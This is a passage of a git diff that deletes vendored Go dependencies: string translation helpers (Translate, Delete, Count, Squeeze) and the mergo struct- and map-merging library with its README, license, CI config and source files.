remaining = remaining[size:] - - // Parse special characters. - if !escaping { - if r == '\\' { - escaping = true - continue - } - - if r == '-' { - // Ignore slash at beginning of string. - if last == utf8.RuneError { - continue - } - - start = last - isRange = true - continue - } - } - - escaping = false - - if last != utf8.RuneError { - // This is a range which start and end are the same. - // Considier it as a normal character. - if isRange && last == r { - isRange = false - continue - } - - start = last - end = r - - if isRange { - if start < end { - rangeStep = 1 - } else { - rangeStep = -1 - } - } - - return - } - - last = r - } - - start = last - end = utf8.RuneError - return -} - -// Translate str with a from/to pattern pair. -// -// See comment in Translate function for usage and samples. -func (tr *Translator) Translate(str string) string { - if !tr.hasPattern || str == "" { - return str - } - - var r rune - var size int - var needTr bool - - orig := str - - var output *bytes.Buffer - - for len(str) > 0 { - r, size = utf8.DecodeRuneInString(str) - r, needTr = tr.TranslateRune(r) - - if needTr && output == nil { - output = allocBuffer(orig, str) - } - - if r != utf8.RuneError && output != nil { - output.WriteRune(r) - } - - str = str[size:] - } - - // No character is translated. - if output == nil { - return orig - } - - return output.String() -} - -// TranslateRune return translated rune and true if r matches the from pattern. -// If r doesn't match the pattern, original r is returned and translated is false. -func (tr *Translator) TranslateRune(r rune) (result rune, translated bool) { - switch { - case tr.quickDict != nil: - if r <= unicode.MaxASCII { - result = tr.quickDict.Dict[r] - - if result != 0 { - translated = true - - if tr.mappedRune >= 0 { - result = tr.mappedRune - } - - break - } - } - - fallthrough - - case tr.runeMap != nil: - var ok bool - - if result, ok = tr.runeMap[r]; ok { - translated = true - - if tr.mappedRune >= 0 { - result = tr.mappedRune - } - - break - } - - fallthrough - - default: - var rrm *runeRangeMap - ranges := tr.ranges - - for i := len(ranges) - 1; i >= 0; i-- { - rrm = ranges[i] - - if rrm.FromLo <= r && r <= rrm.FromHi { - translated = true - - if tr.mappedRune >= 0 { - result = tr.mappedRune - break - } - - if rrm.ToLo < rrm.ToHi { - result = rrm.ToLo + r - rrm.FromLo - } else if rrm.ToLo > rrm.ToHi { - // ToHi can be smaller than ToLo if range is from higher to lower. - result = rrm.ToLo - r + rrm.FromLo - } else { - result = rrm.ToLo - } - - break - } - } - } - - if tr.reverted { - if !translated { - result = tr.mappedRune - } - - translated = !translated - } - - if !translated { - result = r - } - - return -} - -// HasPattern returns true if Translator has one pattern at least. -func (tr *Translator) HasPattern() bool { - return tr.hasPattern -} - -// Translate str with the characters defined in from replaced by characters defined in to. -// -// From and to are patterns representing a set of characters. Pattern is defined as following. -// -// * Special characters -// * '-' means a range of runes, e.g. -// * "a-z" means all characters from 'a' to 'z' inclusive; -// * "z-a" means all characters from 'z' to 'a' inclusive. -// * '^' as first character means a set of all runes excepted listed, e.g. -// * "^a-z" means all characters except 'a' to 'z' inclusive. -// * '\' escapes special characters. -// * Normal character represents itself, e.g. "abc" is a set including 'a', 'b' and 'c'. -// -// Translate will try to find a 1:1 mapping from from to to. -// If to is smaller than from, last rune in to will be used to map "out of range" characters in from. -// -// Note that '^' only works in the from pattern. It will be considered as a normal character in the to pattern. -// -// If the to pattern is an empty string, Translate works exactly the same as Delete. -// -// Samples: -// Translate("hello", "aeiou", "12345") => "h2ll4" -// Translate("hello", "a-z", "A-Z") => "HELLO" -// Translate("hello", "z-a", "a-z") => "svool" -// Translate("hello", "aeiou", "*") => "h*ll*" -// Translate("hello", "^l", "*") => "**ll*" -// Translate("hello ^ world", `\^lo`, "*") => "he*** * w*r*d" -func Translate(str, from, to string) string { - tr := NewTranslator(from, to) - return tr.Translate(str) -} - -// Delete runes in str matching the pattern. -// Pattern is defined in Translate function. -// -// Samples: -// Delete("hello", "aeiou") => "hll" -// Delete("hello", "a-k") => "llo" -// Delete("hello", "^a-k") => "he" -func Delete(str, pattern string) string { - tr := NewTranslator(pattern, "") - return tr.Translate(str) -} - -// Count how many runes in str match the pattern. -// Pattern is defined in Translate function. -// -// Samples: -// Count("hello", "aeiou") => 3 -// Count("hello", "a-k") => 3 -// Count("hello", "^a-k") => 2 -func Count(str, pattern string) int { - if pattern == "" || str == "" { - return 0 - } - - var r rune - var size int - var matched bool - - tr := NewTranslator(pattern, "") - cnt := 0 - - for len(str) > 0 { - r, size = utf8.DecodeRuneInString(str) - str = str[size:] - - if _, matched = tr.TranslateRune(r); matched { - cnt++ - } - } - - return cnt -} - -// Squeeze deletes adjacent repeated runes in str. -// If pattern is not empty, only runes matching the pattern will be squeezed. -// -// Samples: -// Squeeze("hello", "") => "helo" -// Squeeze("hello", "m-z") => "hello" -// Squeeze("hello world", " ") => "hello world" -func Squeeze(str, pattern string) string { - var last, r rune - var size int - var skipSqueeze, matched bool - var tr *Translator - var output *bytes.Buffer - - orig := str - last = -1 - - if len(pattern) > 0 { - tr = NewTranslator(pattern, "") - } - - for len(str) > 0 { - r, size = utf8.DecodeRuneInString(str) - - // Need to squeeze the str. - if last == r && !skipSqueeze { - if tr != nil { - if _, matched = tr.TranslateRune(r); !matched { - skipSqueeze = true - } - } - - if output == nil { - output = allocBuffer(orig, str) - } - - if skipSqueeze { - output.WriteRune(r) - } - } else { - if output != nil { - output.WriteRune(r) - } - - last = r - skipSqueeze = false - } - - str = str[size:] - } - - if output == nil { - return orig - } - - return output.String() -} diff --git a/vendor/github.com/imdario/mergo/.gitignore b/vendor/github.com/imdario/mergo/.gitignore deleted file mode 100644 index 529c3412ba..0000000000 --- a/vendor/github.com/imdario/mergo/.gitignore +++ /dev/null @@ -1,33 +0,0 @@ -#### joe made this: http://goel.io/joe - -#### go #### -# Binaries for programs and plugins -*.exe -*.dll -*.so -*.dylib - -# Test binary, build with `go test -c` -*.test - -# Output of the go coverage tool, specifically when used with LiteIDE -*.out - -# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736 -.glide/ - -#### vim #### -# Swap -[._]*.s[a-v][a-z] -[._]*.sw[a-p] -[._]s[a-v][a-z] -[._]sw[a-p] - -# Session -Session.vim - -# Temporary -.netrwhist -*~ -# Auto-generated tag files -tags diff --git a/vendor/github.com/imdario/mergo/.travis.yml b/vendor/github.com/imdario/mergo/.travis.yml deleted file mode 100644 index b13a50ed1f..0000000000 --- a/vendor/github.com/imdario/mergo/.travis.yml +++ /dev/null @@ -1,7 +0,0 @@ -language: go -install: - - go get -t - - go get golang.org/x/tools/cmd/cover - - go get github.com/mattn/goveralls -script: - - $HOME/gopath/bin/goveralls -service=travis-ci -repotoken $COVERALLS_TOKEN diff --git a/vendor/github.com/imdario/mergo/CODE_OF_CONDUCT.md b/vendor/github.com/imdario/mergo/CODE_OF_CONDUCT.md deleted file mode 100644 index 469b44907a..0000000000 --- a/vendor/github.com/imdario/mergo/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,46 +0,0 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at i@dario.im. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] - -[homepage]: http://contributor-covenant.org -[version]: http://contributor-covenant.org/version/1/4/ diff --git a/vendor/github.com/imdario/mergo/LICENSE b/vendor/github.com/imdario/mergo/LICENSE deleted file mode 100644 index 686680298d..0000000000 --- a/vendor/github.com/imdario/mergo/LICENSE +++ /dev/null @@ -1,28 +0,0 @@ -Copyright (c) 2013 Dario CastaÃąÃŠ. All rights reserved. -Copyright (c) 2012 The Go Authors. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/imdario/mergo/README.md b/vendor/github.com/imdario/mergo/README.md deleted file mode 100644 index d1cefa8718..0000000000 --- a/vendor/github.com/imdario/mergo/README.md +++ /dev/null @@ -1,222 +0,0 @@ -# Mergo - -A helper to merge structs and maps in Golang. Useful for configuration default values, avoiding messy if-statements. - -Also a lovely [comune](http://en.wikipedia.org/wiki/Mergo) (municipality) in the Province of Ancona in the Italian region of Marche. - -## Status - -It is ready for production use. [It is used in several projects by Docker, Google, The Linux Foundation, VMWare, Shopify, etc](https://github.com/imdario/mergo#mergo-in-the-wild). - -[![GoDoc][3]][4] -[![GoCard][5]][6] -[![Build Status][1]][2] -[![Coverage Status][7]][8] -[![Sourcegraph][9]][10] - -[1]: https://travis-ci.org/imdario/mergo.png -[2]: https://travis-ci.org/imdario/mergo -[3]: https://godoc.org/github.com/imdario/mergo?status.svg -[4]: https://godoc.org/github.com/imdario/mergo -[5]: https://goreportcard.com/badge/imdario/mergo -[6]: https://goreportcard.com/report/github.com/imdario/mergo -[7]: https://coveralls.io/repos/github/imdario/mergo/badge.svg?branch=master -[8]: https://coveralls.io/github/imdario/mergo?branch=master -[9]: https://sourcegraph.com/github.com/imdario/mergo/-/badge.svg -[10]: https://sourcegraph.com/github.com/imdario/mergo?badge - -### Latest release - -[Release v0.3.4](https://github.com/imdario/mergo/releases/tag/v0.3.4). - -### Important note - -Please keep in mind that in [0.3.2](//github.com/imdario/mergo/releases/tag/0.3.2) Mergo changed `Merge()`and `Map()` signatures to support [transformers](#transformers). An optional/variadic argument has been added, so it won't break existing code. - -If you were using Mergo **before** April 6th 2015, please check your project works as intended after updating your local copy with ```go get -u github.com/imdario/mergo```. I apologize for any issue caused by its previous behavior and any future bug that Mergo could cause (I hope it won't!) in existing projects after the change (release 0.2.0). - -### Donations - -If Mergo is useful to you, consider buying me a coffee, a beer or making a monthly donation so I can keep building great free software. :heart_eyes: - -Buy Me a Coffee at ko-fi.com -[![Beerpay](https://beerpay.io/imdario/mergo/badge.svg)](https://beerpay.io/imdario/mergo) -[![Beerpay](https://beerpay.io/imdario/mergo/make-wish.svg)](https://beerpay.io/imdario/mergo) -Donate using Liberapay - -### Mergo in the wild - -- [moby/moby](https://github.com/moby/moby) -- [kubernetes/kubernetes](https://github.com/kubernetes/kubernetes) -- [vmware/dispatch](https://github.com/vmware/dispatch) -- [Shopify/themekit](https://github.com/Shopify/themekit) -- [imdario/zas](https://github.com/imdario/zas) -- [matcornic/hermes](https://github.com/matcornic/hermes) -- [OpenBazaar/openbazaar-go](https://github.com/OpenBazaar/openbazaar-go) -- [kataras/iris](https://github.com/kataras/iris) -- [michaelsauter/crane](https://github.com/michaelsauter/crane) -- [go-task/task](https://github.com/go-task/task) -- [sensu/uchiwa](https://github.com/sensu/uchiwa) -- [ory/hydra](https://github.com/ory/hydra) -- [sisatech/vcli](https://github.com/sisatech/vcli) -- [dairycart/dairycart](https://github.com/dairycart/dairycart) -- [projectcalico/felix](https://github.com/projectcalico/felix) -- [resin-os/balena](https://github.com/resin-os/balena) -- [go-kivik/kivik](https://github.com/go-kivik/kivik) -- [Telefonica/govice](https://github.com/Telefonica/govice) -- [supergiant/supergiant](supergiant/supergiant) -- [SergeyTsalkov/brooce](https://github.com/SergeyTsalkov/brooce) -- [soniah/dnsmadeeasy](https://github.com/soniah/dnsmadeeasy) -- [ohsu-comp-bio/funnel](https://github.com/ohsu-comp-bio/funnel) -- [EagerIO/Stout](https://github.com/EagerIO/Stout) -- [lynndylanhurley/defsynth-api](https://github.com/lynndylanhurley/defsynth-api) -- [russross/canvasassignments](https://github.com/russross/canvasassignments) -- [rdegges/cryptly-api](https://github.com/rdegges/cryptly-api) -- [casualjim/exeggutor](https://github.com/casualjim/exeggutor) -- [divshot/gitling](https://github.com/divshot/gitling) -- [RWJMurphy/gorl](https://github.com/RWJMurphy/gorl) -- [andrerocker/deploy42](https://github.com/andrerocker/deploy42) -- [elwinar/rambler](https://github.com/elwinar/rambler) -- [tmaiaroto/gopartman](https://github.com/tmaiaroto/gopartman) -- [jfbus/impressionist](https://github.com/jfbus/impressionist) -- [Jmeyering/zealot](https://github.com/Jmeyering/zealot) -- [godep-migrator/rigger-host](https://github.com/godep-migrator/rigger-host) -- [Dronevery/MultiwaySwitch-Go](https://github.com/Dronevery/MultiwaySwitch-Go) -- [thoas/picfit](https://github.com/thoas/picfit) -- [mantasmatelis/whooplist-server](https://github.com/mantasmatelis/whooplist-server) -- [jnuthong/item_search](https://github.com/jnuthong/item_search) -- [bukalapak/snowboard](https://github.com/bukalapak/snowboard) - -## Installation - - go get github.com/imdario/mergo - - // use in your .go code - import ( - "github.com/imdario/mergo" - ) - -## Usage - -You can only merge same-type structs with exported fields initialized as zero value of their type and same-types maps. Mergo won't merge unexported (private) fields but will do recursively any exported one. It won't merge empty structs value as [they are not considered zero values](https://golang.org/ref/spec#The_zero_value) either. Also maps will be merged recursively except for structs inside maps (because they are not addressable using Go reflection). - -```go -if err := mergo.Merge(&dst, src); err != nil { - // ... -} -``` - -Also, you can merge overwriting values using the transformer `WithOverride`. - -```go -if err := mergo.Merge(&dst, src, mergo.WithOverride); err != nil { - // ... -} -``` - -Additionally, you can map a `map[string]interface{}` to a struct (and otherwise, from struct to map), following the same restrictions as in `Merge()`. Keys are capitalized to find each corresponding exported field. - -```go -if err := mergo.Map(&dst, srcMap); err != nil { - // ... -} -``` - -Warning: if you map a struct to map, it won't do it recursively. Don't expect Mergo to map struct members of your struct as `map[string]interface{}`. They will be just assigned as values. - -More information and examples in [godoc documentation](http://godoc.org/github.com/imdario/mergo). - -### Nice example - -```go -package main - -import ( - "fmt" - "github.com/imdario/mergo" -) - -type Foo struct { - A string - B int64 -} - -func main() { - src := Foo{ - A: "one", - B: 2, - } - dest := Foo{ - A: "two", - } - mergo.Merge(&dest, src) - fmt.Println(dest) - // Will print - // {two 2} -} -``` - -Note: if test are failing due missing package, please execute: - - go get gopkg.in/yaml.v2 - -### Transformers - -Transformers allow to merge specific types differently than in the default behavior. In other words, now you can customize how some types are merged. For example, `time.Time` is a struct; it doesn't have zero value but IsZero can return true because it has fields with zero value. How can we merge a non-zero `time.Time`? - -```go -package main - -import ( - "fmt" - "github.com/imdario/mergo" - "reflect" - "time" -) - -type timeTransfomer struct { -} - -func (t timeTransfomer) Transformer(typ reflect.Type) func(dst, src reflect.Value) error { - if typ == reflect.TypeOf(time.Time{}) { - return func(dst, src reflect.Value) error { - if dst.CanSet() { - isZero := dst.MethodByName("IsZero") - result := isZero.Call([]reflect.Value{}) - if result[0].Bool() { - dst.Set(src) - } - } - return nil - } - } - return nil -} - -type Snapshot struct { - Time time.Time - // ... -} - -func main() { - src := Snapshot{time.Now()} - dest := Snapshot{} - mergo.Merge(&dest, src, mergo.WithTransformers(timeTransfomer{})) - fmt.Println(dest) - // Will print - // { 2018-01-12 01:15:00 +0000 UTC m=+0.000000001 } -} -``` - - -## Contact me - -If I can help you, you have an idea or you are using Mergo in your projects, don't hesitate to drop me a line (or a pull request): [@im_dario](https://twitter.com/im_dario) - -## About - -Written by [Dario CastaÃąÃŠ](http://dario.im). - -## License - -[BSD 3-Clause](http://opensource.org/licenses/BSD-3-Clause) license, as [Go language](http://golang.org/LICENSE). diff --git a/vendor/github.com/imdario/mergo/doc.go b/vendor/github.com/imdario/mergo/doc.go deleted file mode 100644 index 6e9aa7baf3..0000000000 --- a/vendor/github.com/imdario/mergo/doc.go +++ /dev/null @@ -1,44 +0,0 @@ -// Copyright 2013 Dario CastaÃąÃŠ. All rights reserved. -// Copyright 2009 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -/* -Package mergo merges same-type structs and maps by setting default values in zero-value fields. - -Mergo won't merge unexported (private) fields but will do recursively any exported one. It also won't merge structs inside maps (because they are not addressable using Go reflection). - -Usage - -From my own work-in-progress project: - - type networkConfig struct { - Protocol string - Address string - ServerType string `json: "server_type"` - Port uint16 - } - - type FssnConfig struct { - Network networkConfig - } - - var fssnDefault = FssnConfig { - networkConfig { - "tcp", - "127.0.0.1", - "http", - 31560, - }, - } - - // Inside a function [...] - - if err := mergo.Merge(&config, fssnDefault); err != nil { - log.Fatal(err) - } - - // More code [...] - -*/ -package mergo diff --git a/vendor/github.com/imdario/mergo/map.go b/vendor/github.com/imdario/mergo/map.go deleted file mode 100644 index 6ea38e636b..0000000000 --- a/vendor/github.com/imdario/mergo/map.go +++ /dev/null @@ -1,174 +0,0 @@ -// Copyright 2014 Dario CastaÃąÃŠ. All rights reserved. -// Copyright 2009 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Based on src/pkg/reflect/deepequal.go from official -// golang's stdlib. - -package mergo - -import ( - "fmt" - "reflect" - "unicode" - "unicode/utf8" -) - -func changeInitialCase(s string, mapper func(rune) rune) string { - if s == "" { - return s - } - r, n := utf8.DecodeRuneInString(s) - return string(mapper(r)) + s[n:] -} - -func isExported(field reflect.StructField) bool { - r, _ := utf8.DecodeRuneInString(field.Name) - return r >= 'A' && r <= 'Z' -} - -// Traverses recursively both values, assigning src's fields values to dst. -// The map argument tracks comparisons that have already been seen, which allows -// short circuiting on recursive types. -func deepMap(dst, src reflect.Value, visited map[uintptr]*visit, depth int, config *Config) (err error) { - overwrite := config.Overwrite - if dst.CanAddr() { - addr := dst.UnsafeAddr() - h := 17 * addr - seen := visited[h] - typ := dst.Type() - for p := seen; p != nil; p = p.next { - if p.ptr == addr && p.typ == typ { - return nil - } - } - // Remember, remember... - visited[h] = &visit{addr, typ, seen} - } - zeroValue := reflect.Value{} - switch dst.Kind() { - case reflect.Map: - dstMap := dst.Interface().(map[string]interface{}) - for i, n := 0, src.NumField(); i < n; i++ { - srcType := src.Type() - field := srcType.Field(i) - if !isExported(field) { - continue - } - fieldName := field.Name - fieldName = changeInitialCase(fieldName, unicode.ToLower) - if v, ok := dstMap[fieldName]; !ok || (isEmptyValue(reflect.ValueOf(v)) || overwrite) { - dstMap[fieldName] = src.Field(i).Interface() - } - } - case reflect.Ptr: - if dst.IsNil() { - v := reflect.New(dst.Type().Elem()) - dst.Set(v) - } - dst = dst.Elem() - fallthrough - case reflect.Struct: - srcMap := src.Interface().(map[string]interface{}) - for key := range srcMap { - srcValue := srcMap[key] - fieldName := changeInitialCase(key, unicode.ToUpper) - dstElement := dst.FieldByName(fieldName) - if dstElement == zeroValue { - // We discard it because the field doesn't exist. - continue - } - srcElement := reflect.ValueOf(srcValue) - dstKind := dstElement.Kind() - srcKind := srcElement.Kind() - if srcKind == reflect.Ptr && dstKind != reflect.Ptr { - srcElement = srcElement.Elem() - srcKind = reflect.TypeOf(srcElement.Interface()).Kind() - } else if dstKind == reflect.Ptr { - // Can this work? I guess it can't. - if srcKind != reflect.Ptr && srcElement.CanAddr() { - srcPtr := srcElement.Addr() - srcElement = reflect.ValueOf(srcPtr) - srcKind = reflect.Ptr - } - } - - if !srcElement.IsValid() { - continue - } - if srcKind == dstKind { - if err = deepMerge(dstElement, srcElement, visited, depth+1, config); err != nil { - return - } - } else if dstKind == reflect.Interface && dstElement.Kind() == reflect.Interface { - if err = deepMerge(dstElement, srcElement, visited, depth+1, config); err != nil { - return - } - } else if srcKind == reflect.Map { - if err = deepMap(dstElement, srcElement, visited, depth+1, config); err != nil { - return - } - } else { - return fmt.Errorf("type mismatch on %s field: found %v, expected %v", fieldName, srcKind, dstKind) - } - } - } - return -} - -// Map sets fields' values in dst from src. -// src can be a map with string keys or a struct. dst must be the opposite: -// if src is a map, dst must be a valid pointer to struct. If src is a struct, -// dst must be map[string]interface{}. -// It won't merge unexported (private) fields and will do recursively -// any exported field. -// If dst is a map, keys will be src fields' names in lower camel case. -// Missing key in src that doesn't match a field in dst will be skipped. This -// doesn't apply if dst is a map. -// This is separated method from Merge because it is cleaner and it keeps sane -// semantics: merging equal types, mapping different (restricted) types. -func Map(dst, src interface{}, opts ...func(*Config)) error { - return _map(dst, src, opts...) -} - -// MapWithOverwrite will do the same as Map except that non-empty dst attributes will be overridden by -// non-empty src attribute values. -// Deprecated: Use Map(â€Ļ) with WithOverride -func MapWithOverwrite(dst, src interface{}, opts ...func(*Config)) error { - return _map(dst, src, append(opts, WithOverride)...) -} - -func _map(dst, src interface{}, opts ...func(*Config)) error { - var ( - vDst, vSrc reflect.Value - err error - ) - config := &Config{} - - for _, opt := range opts { - opt(config) - } - - if vDst, vSrc, err = resolveValues(dst, src); err != nil { - return err - } - // To be friction-less, we redirect equal-type arguments - // to deepMerge. Only because arguments can be anything. - if vSrc.Kind() == vDst.Kind() { - return deepMerge(vDst, vSrc, make(map[uintptr]*visit), 0, config) - } - switch vSrc.Kind() { - case reflect.Struct: - if vDst.Kind() != reflect.Map { - return ErrExpectedMapAsDestination - } - case reflect.Map: - if vDst.Kind() != reflect.Struct { - return ErrExpectedStructAsDestination - } - default: - return ErrNotSupported - } - return deepMap(vDst, vSrc, make(map[uintptr]*visit), 0, config) -} diff --git a/vendor/github.com/imdario/mergo/merge.go b/vendor/github.com/imdario/mergo/merge.go deleted file mode 100644 index 706b22069c..0000000000 --- a/vendor/github.com/imdario/mergo/merge.go +++ /dev/null @@ -1,245 +0,0 @@ -// Copyright 2013 Dario CastaÃąÃŠ. All rights reserved. -// Copyright 2009 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Based on src/pkg/reflect/deepequal.go from official -// golang's stdlib. - -package mergo - -import ( - "reflect" -) - -func hasExportedField(dst reflect.Value) (exported bool) { - for i, n := 0, dst.NumField(); i < n; i++ { - field := dst.Type().Field(i) - if field.Anonymous && dst.Field(i).Kind() == reflect.Struct { - exported = exported || hasExportedField(dst.Field(i)) - } else { - exported = exported || len(field.PkgPath) == 0 - } - } - return -} - -type Config struct { - Overwrite bool - AppendSlice bool - Transformers Transformers -} - -type Transformers interface { - Transformer(reflect.Type) func(dst, src reflect.Value) error -} - -// Traverses recursively both values, assigning src's fields values to dst. -// The map argument tracks comparisons that have already been seen, which allows -// short circuiting on recursive types. -func deepMerge(dst, src reflect.Value, visited map[uintptr]*visit, depth int, config *Config) (err error) { - overwrite := config.Overwrite - - if !src.IsValid() { - return - } - if dst.CanAddr() { - addr := dst.UnsafeAddr() - h := 17 * addr - seen := visited[h] - typ := dst.Type() - for p := seen; p != nil; p = p.next { - if p.ptr == addr && p.typ == typ { - return nil - } - } - // Remember, remember... - visited[h] = &visit{addr, typ, seen} - } - - if config.Transformers != nil && !isEmptyValue(dst) { - if fn := config.Transformers.Transformer(dst.Type()); fn != nil { - err = fn(dst, src) - return - } - } - - switch dst.Kind() { - case reflect.Struct: - if hasExportedField(dst) { - for i, n := 0, dst.NumField(); i < n; i++ { - if err = deepMerge(dst.Field(i), src.Field(i), visited, depth+1, config); err != nil { - return - } - } - } else { - if dst.CanSet() && !isEmptyValue(src) && (overwrite || isEmptyValue(dst)) { - dst.Set(src) - } - } - case reflect.Map: - if dst.IsNil() && !src.IsNil() { - dst.Set(reflect.MakeMap(dst.Type())) - } - for _, key := range src.MapKeys() { - srcElement := src.MapIndex(key) - if !srcElement.IsValid() { - continue - } - dstElement := dst.MapIndex(key) - switch srcElement.Kind() { - case reflect.Chan, reflect.Func, reflect.Map, reflect.Interface, reflect.Slice: - if srcElement.IsNil() { - continue - } - fallthrough - default: - if !srcElement.CanInterface() { - continue - } - switch reflect.TypeOf(srcElement.Interface()).Kind() { - case reflect.Struct: - fallthrough - case reflect.Ptr: - fallthrough - case reflect.Map: - srcMapElm := srcElement - dstMapElm := dstElement - if srcMapElm.CanInterface() { - srcMapElm = reflect.ValueOf(srcMapElm.Interface()) - if dstMapElm.IsValid() { - dstMapElm = reflect.ValueOf(dstMapElm.Interface()) - } - } - if err = deepMerge(dstMapElm, srcMapElm, visited, depth+1, config); err != nil { - return - } - case reflect.Slice: - srcSlice := reflect.ValueOf(srcElement.Interface()) - - var dstSlice reflect.Value - if !dstElement.IsValid() || dstElement.IsNil() { - dstSlice = reflect.MakeSlice(srcSlice.Type(), 0, srcSlice.Len()) - } else { - dstSlice = reflect.ValueOf(dstElement.Interface()) - } - - if !isEmptyValue(src) && (overwrite || isEmptyValue(dst)) && !config.AppendSlice { - dstSlice = srcSlice - } else if config.AppendSlice { - dstSlice = reflect.AppendSlice(dstSlice, srcSlice) - } - dst.SetMapIndex(key, dstSlice) - } - } - if dstElement.IsValid() && reflect.TypeOf(srcElement.Interface()).Kind() == reflect.Map { - continue - } - - if srcElement.IsValid() && (overwrite || (!dstElement.IsValid() || isEmptyValue(dstElement))) { - if dst.IsNil() { - dst.Set(reflect.MakeMap(dst.Type())) - } - dst.SetMapIndex(key, srcElement) - } - } - case reflect.Slice: - if !dst.CanSet() { - break - } - if !isEmptyValue(src) && (overwrite || isEmptyValue(dst)) && !config.AppendSlice { - dst.Set(src) - } else if config.AppendSlice { - dst.Set(reflect.AppendSlice(dst, src)) - } - case reflect.Ptr: - fallthrough - case reflect.Interface: - if src.IsNil() { - break - } - if src.Kind() != reflect.Interface { - if dst.IsNil() || overwrite { - if dst.CanSet() && (overwrite || isEmptyValue(dst)) { - dst.Set(src) - } - } else if src.Kind() == reflect.Ptr { - if err = deepMerge(dst.Elem(), src.Elem(), visited, depth+1, config); err != nil { - return - } - } else if dst.Elem().Type() == src.Type() { - if err = deepMerge(dst.Elem(), src, visited, depth+1, config); err != nil { - return - } - } else { - return ErrDifferentArgumentsTypes - } - break - } - if dst.IsNil() || overwrite { - if dst.CanSet() && (overwrite || isEmptyValue(dst)) { - dst.Set(src) - } - } else if err = deepMerge(dst.Elem(), src.Elem(), visited, depth+1, config); err != nil { - return - } - default: - if dst.CanSet() && !isEmptyValue(src) && (overwrite || isEmptyValue(dst)) { - dst.Set(src) - } - } - return -} - -// Merge will fill any empty for value type attributes on the dst struct using corresponding -// src attributes if they themselves are not empty. dst and src must be valid same-type structs -// and dst must be a pointer to struct. -// It won't merge unexported (private) fields and will do recursively any exported field. -func Merge(dst, src interface{}, opts ...func(*Config)) error { - return merge(dst, src, opts...) -} - -// MergeWithOverwrite will do the same as Merge except that non-empty dst attributes will be overriden by -// non-empty src attribute values. -// Deprecated: use Merge(â€Ļ) with WithOverride -func MergeWithOverwrite(dst, src interface{}, opts ...func(*Config)) error { - return merge(dst, src, append(opts, WithOverride)...) -} - -// WithTransformers adds transformers to merge, allowing to customize the merging of some types. -func WithTransformers(transformers Transformers) func(*Config) { - return func(config *Config) { - config.Transformers = transformers - } -} - -// WithOverride will make merge override non-empty dst attributes with non-empty src attributes values. -func WithOverride(config *Config) { - config.Overwrite = true -} - -// WithAppendSlice will make merge append slices instead of overwriting it -func WithAppendSlice(config *Config) { - config.AppendSlice = true -} - -func merge(dst, src interface{}, opts ...func(*Config)) error { - var ( - vDst, vSrc reflect.Value - err error - ) - - config := &Config{} - - for _, opt := range opts { - opt(config) - } - - if vDst, vSrc, err = resolveValues(dst, src); err != nil { - return err - } - if vDst.Type() != vSrc.Type() { - return ErrDifferentArgumentsTypes - } - return deepMerge(vDst, vSrc, make(map[uintptr]*visit), 0, config) -} diff --git a/vendor/github.com/imdario/mergo/mergo.go b/vendor/github.com/imdario/mergo/mergo.go deleted file mode 100644 index a82fea2fdc..0000000000 --- 